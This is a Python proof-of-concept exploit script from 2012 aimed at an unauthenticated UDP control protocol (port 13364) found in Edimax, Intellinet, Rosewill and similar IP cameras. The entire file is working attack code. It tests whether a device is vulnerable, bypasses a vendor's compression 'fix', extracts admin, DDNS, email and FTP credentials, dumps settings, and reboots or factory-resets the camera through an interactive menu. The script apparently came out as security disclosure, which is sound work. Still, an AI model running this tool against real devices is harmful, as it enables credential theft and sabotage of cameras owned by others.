#!/usr/bin/env python
'''
Proof-of-concept that exploits a vulnerable control protocol used by many IP cameras manufactured by
Edimax, Intellinet, Rosewill, and more. Code can reboot/factory reset the device, pull any authentication
credentials off it (including admin, email, ftp, WLAN), and set any setting supported by the protocol.
This expands upon a previous release that simply pulled off the administrator password, as well as bypasses
a fix released by Rosewill (and possibly others).

Obviously, this could also be used simply to manage one's device; however, anyone one else with access
to port 13364 can as well.

Author: Ben Schmidt (supernothing)
Reference: http://spareclockcycles.org/2012/01/23/exploiting-an-ip-camera-control-protocol-redux/
Released: 01/23/2012

Disclaimer: I am not responsible for any misuse of this tool. It is intended to be used solely for testing purposes.
'''
import sys
import socket
import struct
import readline
import zlib
from binascii import b2a_hex

#I've documented what I think are the important commands below.
#Obviously not all of them have been implemented,
#but this can easily be done by inspecting how they
#are handled in enet_agentd.h and enet_agentd.c
#http://pastebin.com/gALqkg8h - enet_agentd.h
#http://pastebin.com/Bb3bWZP5 - enet_agentd.c

#Check vulnerability without pw disclosure
SEARCH_MANUAL = 0x05

#Read constants, pulled from enet_agentd.h
READ_SETTING_MANUAL = 0x06
GETWLAN_COMMAND_MANUAL = 0x0c
SITESURVEY_COMMAND_MANUAL = 0x0d
READ_EMAIL_AUTH_MANUAL = 0x1d
GET_USERS_MANUAL = 0x1e
READ_FTP_SETTING_MANUAL = 0x1F
READ_TIME_SETTING_MANUAL = 0x20
READ_PPPOE_SETTING_MANUAL = 0x21

#Write constants, pulled from enet_agentd.h
SET_CONFIG = 0x03
SET_EMAIL_AUTH = 0x11
SET_USERS = 0x13
SET_FTP_SETTING = 0x16
SET_TIME_SETTING = 0x18
SET_PPPOE_SETTING = 0x1a

#Firmware upgrade command (only on units with /usr/bin/tftp)
#Not implemented because I lack a compatible device
FIRMWARE_UPGRADE = 0x07

#Misc
LED_ON_OFF_COMMAND_MANUAL = 0x0e
SEND_TEST_EMAIL = 0x14
RESET = 0x01 #reboots device
FACTORY_DEFAULT = 0x08

def clean(name):
    return str(name).split("\x00")[0]

def pitem(i,v):
    print i+": "+clean(str(v))

class Enet_Device:
    '''
        Class for interacting with proprietary enet protocol.
    '''
    devmac = "\xff\xff\xff\xff\xff\xff"
    def __init__(self,target,port):
        self.target = target
        self.port = port
        self.sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        self.sock.connect((target,port))

        ans = raw_input("Performing initial vulnerability check. Continue? [Y/n] ")
        if ans == "n":
            print "Target not tested. Exiting."
            sys.exit(0)
        self.check_vuln()
    def _send_pkt(self,code,data):
        #Packet header format:
        #Target MAC + Req (0) / Res (1) + Code ID + \xFF + chr(0xFF - Code ID)
        data = self.devmac+'\x00'+chr(code)+'\xff'+chr(0xff-code)+data
        try:
            self.sock.send(data)
            data = None
            self.sock.settimeout(5)
            data,addr = self.sock.recvfrom(4096)
            self.sock.settimeout(1) #We ignore the last two, redundant
            tmp,addr = self.sock.recvfrom(4096)
            tmp,addr = self.sock.recvfrom(4096)
            return data
        except socket.timeout:
            if data:
                return data
            return None
    def check_vuln(self):
        res =  self._send_pkt(SEARCH_MANUAL,"")
        try:
            res = res[:10] + zlib.decompress(res[12:-4],-15)
            print "Bypassed zlib 'fix'..."
        except:
            pass
        if res:
            self.dev_name = clean(res[10:])
            print "Device is vulnerable!"
            print
            print "Device name: %s" % self.dev_name
            print "Device MAC: %s" % b2a_hex(res[0:6])
        else:
            print "Device not vulnerable."
    def get_device_settings(self,p=True):
        res = self._send_pkt(READ_SETTING_MANUAL,"")[10:]
        try:
            res =  zlib.decompress(res[2:-4],-15)
            print "Bypassed zlib 'fix'..."
        except:
            pass
        #see header file for explanation
        fmt = "!32s32s4s4s4sHHB5s5s33s17s17sBB32sBBB48s48s32s32s"
        names = ["email","emailserver","IC_SUBNET","IC_GATEWAY",
                    "IC_DNS","IC_PORT","IC_WEB_PORT","IC_Resolution",
                    "IC_FirmwareVer","IC_Password","IC_DDNS_DOMAIN",
                    "IC_DDNS_ACCOUNT","IC_DDNS_PASSWORD","IC_DDNS_ENABLE",
                    "IC_UPNP_ENABLE","IC_Name","IC_DHCP_ENABLE","IC_PPPOE_ENABLE",
                    "IC_DDNS_SERVER_ID","IC_TZO_DDNS_ACCOUNT","IC_TZO_DDNS_PASSWORD",
                    "IC1001_EMAIL_SENDER","IC_LongPassword"]
        parsed = struct.unpack(fmt,res)
        if p:
            print "Settings (some may be empty):"
            for i,v in enumerate(parsed):
                if i > 1 and i < 5:
                    v = socket.inet_ntoa(v)
                pitem(names[i],v)
        return parsed
    def grab_passwords(self):
        '''
            Use other functions to gather user/pass combos
            PPPOE and WLAN also possible, but RXS-3211 doesn't support it
        '''
        settings = self.get_device_settings(False)
        email = self.get_email_user_pass()
        ftp = self.get_ftp_user_pass()
        print "Device - admin: " + clean(settings[-1])
        print "DDNS - %s: %s" % (clean(settings[11]),clean(settings[12]))
        print "Email - %s: %s" % (clean(email[0]),clean(email[1]))
        print "FTP - %s: %s (server: %s:%s)" % (ftp[3],ftp[4],ftp[0],ftp[2])
    def get_email_user_pass(self):
        res = self._send_pkt(READ_EMAIL_AUTH_MANUAL,"")[10:]
        #see header file for explanation
        fmt = "1s32s32s32s"
        res = struct.unpack(fmt,res)
        return res[1:]
    def get_ftp_user_pass(self):
        res = self._send_pkt(READ_FTP_SETTING_MANUAL,"")[10:]
        #see header file for explanation
        fmt = "!64sHH32s32s128s1s"
        res = struct.unpack(fmt,res)
        return [clean(i) for i in res]
    def reboot(self):
        res = self._send_pkt(RESET,"")
        print "Device rebooted successfully."
    def factory_reset(self):
        res = self._send_pkt(FACTORY_DEFAULT,"")
        print "Device has been reset to defaults."
    #Doesn't work on RXS-3211, possibly disabled?
    #def toggle_led(self):
    #    res = self._send_pkt(LED_ON_OFF_COMMAND_MANUAL,"\x01")
    #    print "LED toggled, roflcopter."

 
def print_help():
    print "Grab passwords and settings, perform factory resets, and reboot IP cameras."
    print
    print "Usage: enet_pwn.py TARGET[:PORT]"
    print "Report bugs to supernothing@spareclockcycles.org"
    sys.exit(0)

def print_menu():
    print
    print "1.) Check if vulnerable"
    print "2.) Grab usernames and passwords"
    print "3.) Print device settings"
    print "4.) Reboot device"
    print "5.) Perform factory reset"
    print "99.) Exit"
if __name__=="__main__":
    if len(sys.argv) != 2:
        print_help()
    args = sys.argv[1].split(":")
    
    if len(args) == 1:
        target,port = args[0],13364
    elif len(args) == 2:
        target,port = args
    else:
        print_help()

    dev = Enet_Device(target,port)
    while 1:
        print_menu()
        cmd = int(raw_input("Enter command: "))
        print
        if cmd == 1:
            dev.check_vuln()
        elif cmd == 2:
            dev.grab_passwords()
        elif cmd == 3:
            dev.get_device_settings()
        elif cmd == 4:
            dev.reboot()
        elif cmd == 5:
            dev.factory_reset()
        elif cmd == 99:
            print "I've got 99 problems, but a loop isn't one."
            break
